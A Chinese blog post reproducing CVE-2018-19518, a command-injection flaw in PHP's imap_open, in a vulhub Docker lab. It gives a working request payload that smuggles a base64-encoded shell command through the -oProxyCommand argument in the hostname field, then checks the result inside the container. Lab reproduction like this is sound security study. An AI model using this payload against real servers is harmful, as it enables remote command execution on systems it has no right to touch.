PHP--远程命令执行漏洞CVE-2018-19518复现

漏洞介绍

-php imap扩展用户在php中执行邮件收发操作,其imap_open函数会调用rsh来连接远程shell,而debianh/Ubuntu中默认使用ssh来代替rsh功能,也就是说debian系列系统中,执行rsh命令实际执行的是ssh命令。
-debian系列系统有Ubuntu、kali、MX linux、AntiX、PureOS等。
-ssh命令中可以通过设置-oProxyCommand=来调用第三方命令,攻击者可以通过注入这个参数,最终将导致命令执行漏洞。
-ProxyCommand用来指定连接到服务器的命令. 其可以是任何的命令,只要能从其标准输入读入数据,然后写出到标准输出即可. 这条命令需要连接到sshd服务器上。

漏洞复现

首先进入环境,最好在root权限下进行

cd vulhub/php/CVE-2018-19518

然后我们进入到该目录下使用docker启动

docker-compose build
docker-compose up -d

在这里插入图片描述
然后我们访问该ip的8080端口,出现一个登陆界面,这里我们随意输入,准备采取抓包

在这里插入图片描述
使用burp进行抓包,并发送到Repeater里
在这里插入图片描述
然后我们修改数据包,添加一段执行代码
例如 echo ‘Hello’>/tmp/test,对它进行base64编码
ZWNobyAYSGVsbG8ZPi90bXAvdGVzdA==
在这里插入图片描述
这里-oProxyCommand 表示使用该参数。
%09后添加上面进行base64编码后的内容,再将部分内容进行url编码。

hostname=x+-oProxyCommand%3decho%09ZWNobyAnSGVsbG8nPi90bXAvdGVzdA%3d%3d|base64%09-d|sh}&username=111&password=222

点击send发送数据包以后,我们准备进入虚拟机查看是否创建成功
在这里插入图片描述

进入容器

这里我们进入容器查看刚才文件是否创建成功,先查询id

docker ps -a

查看容器id后在下面命令中输入id进入

docker exec -it ID /bin/bash

进入到tmp目录下查看文件

cd /tmp
ls -al
cat test

在这里插入图片描述
这里我们可以发现刚刚test文件创建成功

移除环境

做完实验以后先不要关闭当前界面,移除环境关闭镜像。

docker-compose down
# 关闭正在运行的容器,删除所有相关的容器,移除NAT(docker-compose在运行的时候会创建一个NAT网段)
  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 8
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值